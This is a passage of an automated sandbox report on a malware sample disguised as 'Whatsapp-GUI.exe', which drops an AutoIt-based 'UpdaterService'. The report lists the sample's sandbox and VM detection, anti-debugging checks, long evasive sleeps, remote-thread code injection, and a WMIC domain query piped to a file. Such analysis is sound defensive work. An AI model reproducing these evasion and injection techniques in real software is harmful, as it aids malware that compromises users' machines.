Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -98593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -98484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -98375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -98265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -98156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -98047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -97937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -97828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -97718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -97609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -97499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -97390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -97281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -97171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -97062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -96953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -96843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -96734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -96624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -96515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -96395s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -96265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -96062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -95930s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -95812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -95703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -95593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -95484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -95375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -95265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -95155s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -95047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -94937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -94826s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -94718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -94609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -94500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -94390s >= -30000s	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe TID: 7780	Thread sleep time: -454500s >= -30000s	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe TID: 7796	Thread sleep time: -9000000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe TID: 7780	Thread sleep time: -1690500s >= -30000s	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe TID: 7792	Thread sleep time: -121000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Domain FROM Win32_ComputerSystem

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Last function: Thread delayed
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Last function: Thread delayed

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008A4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	9_2_008A4005
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008AC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	9_2_008AC2FF
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008A494A GetFileAttributesW,FindFirstFileW,FindClose,	9_2_008A494A
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008ACD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	9_2_008ACD9F
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008ACD14 FindFirstFileW,FindClose,	9_2_008ACD14
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008AF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_008AF5D8
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008AF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_008AF735
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008AFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	9_2_008AFA36
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008A3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	9_2_008A3CE2
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1DB65 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	9_2_00F1DB65
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BBA584 FindFirstFileW,lstrcmpW,lstrcmpW,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FindNextFileW,FindClose,	9_2_03BBA584
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B68AFC FindFirstFileA,GetLastError,	9_2_03B68AFC
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B689F4 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	9_2_03B689F4
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB31F8 FindFirstFileW,FindNextFileW,FindClose,	9_2_03BB31F8
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BBBA70 FindFirstFileW,FindNextFileW,FindClose,	9_2_03BBBA70
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B65974 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	9_2_03B65974
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B7BD8C FindFirstFileA,FindNextFileA,FindClose,	9_2_03B7BD8C
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B93D68 FindFirstFileW,FindNextFileW,FindClose,	9_2_03B93D68

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_00855D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

9_2_00855D13

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 99857	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 99748	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 99639	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 99529	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 99421	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 99307	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 99202	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 99079	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 98922	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 98809	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 98703	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 98593	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 98484	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 98375	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 98265	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 98156	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 98047	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 97937	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 97828	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 97718	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 97609	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 97499	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 97390	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 97281	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 97171	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 97062	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 96953	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 96843	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 96734	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 96624	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 96515	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 96395	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 96265	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 96062	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 95930	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 95812	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 95703	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 95593	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 95484	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 95375	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 95265	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 95155	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 95047	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 94937	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 94826	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 94718	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 94609	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 94500	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 94390	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Thread delayed: delay time: 1800000	Jump to behavior

Source: Whatsapp-GUI.exe, 00000000.00000002.1821852634.0000000008A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}V
Source: Autoit3.exe, 0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: UpdaterService.exe, UpdaterService.exe, 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, Autoit3.exe, 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: microsoft hyper-v video
Source: Whatsapp-GUI.exe, 00000000.00000002.1816344898.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Whatsapp-GUI.exe, 00000000.00000002.1821852634.00000000089A0000.00000004.00000020.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4176245348.00000000019CA000.00000004.00000020.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1964958277.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2041037254.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\ProgramData\Updater\UpdaterService.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008B45D5 BlockInput,

9_2_008B45D5

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_00855240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

9_2_00855240

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_00875CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

9_2_00875CAC

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008BC6D9 LoadLibraryA,GetProcAddress,

9_2_008BC6D9

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F2A766 mov eax, dword ptr fs:[00000030h]	9_2_00F2A766
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B880A4 mov eax, dword ptr fs:[00000030h]	9_2_03B880A4
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B8A79C mov eax, dword ptr fs:[00000030h]	9_2_03B8A79C
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B8A79C mov eax, dword ptr fs:[00000030h]	9_2_03B8A79C

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008988CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

9_2_008988CD

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		9_2_0086A385
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086A354 SetUnhandledExceptionFilter,		9_2_0086A354

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_03B8DCB8 CreateProcessA,CreateProcessA,OpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,CloseHandle,

9_2_03B8DCB8

Contains functionality to inject threads in other processes

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_03B8DCB8 CreateProcessA,CreateProcessA,OpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,CloseHandle,

9_2_03B8DCB8

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_00899369 LogonUserW,

9_2_00899369

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_00855240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

9_2_00855240

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008A1AC6 SendInput,keybd_event,

9_2_008A1AC6

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008A51E2 mouse_event,

9_2_008A51E2

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process created: C:\ProgramData\Updater\UpdaterService.exe "C:\ProgramData\Updater\UpdaterService.exe" "C:\ProgramData\Updater\ConfigUpdater.a3x"	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c wmic ComputerSystem get domain > C:\ProgramData\bfadeeb\deddfcf	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic ComputerSystem get domain	Jump to behavior

Source: C:\ProgramData\bfadeeb\Autoit3.exe

9_2_008988CD

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008A4F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

9_2_008A4F1C

Source: UpdaterService.exe, 00000002.00000000.1789777520.00000000000E6000.00000002.00000001.01000000.0000000C.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005083000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834752096.0000000004FA8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: UpdaterService.exe, 00000002.00000002.4182845789.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: program manager&
Source: UpdaterService.exe, 00000002.00000002.4182845789.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: UpdaterService.exe, 00000002.00000002.4176245348.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managertem32
Source: UpdaterService.exe, Autoit3.exe	Binary or memory string: Shell_TrayWnd
Source: UpdaterService.exe, 00000002.00000002.4176245348.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagertonT
Source: UpdaterService.exe, 00000002.00000002.4176245348.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerATAT
Source: UpdaterService.exe, 00000002.00000002.4182845789.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: program manager
Source: UpdaterService.exe, 00000002.00000002.4176245348.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerInfo

Language, Device and Operating System Detection

Source: C:\ProgramData\Updater\UpdaterService.exe

Code function: 2_3_04F1B2DB cpuid

2_3_04F1B2DB

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	9_2_00F1DD3D
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetLocaleInfoA,	9_2_00F20021
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetLocaleInfoA,GetACP,	9_2_00F21179
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetLocaleInfoA,	9_2_00F1E14D
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	9_2_00F1DE47
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetLocaleInfoA,	9_2_00F1FFD5
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	9_2_03B65B4C
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetLocaleInfoA,	9_2_03B66470
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetLocaleInfoA,GetACP,	9_2_03B6CC88
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetLocaleInfoA,	9_2_03B6B620
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: GetLocaleInfoA,	9_2_03B6B66C
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	9_2_03B65C56

Source: C:\ProgramData\Updater\UpdaterService.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\ProgramData\Updater\UpdaterService.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID	Jump to behavior

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Users\user\Desktop\Whatsapp-GUI.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
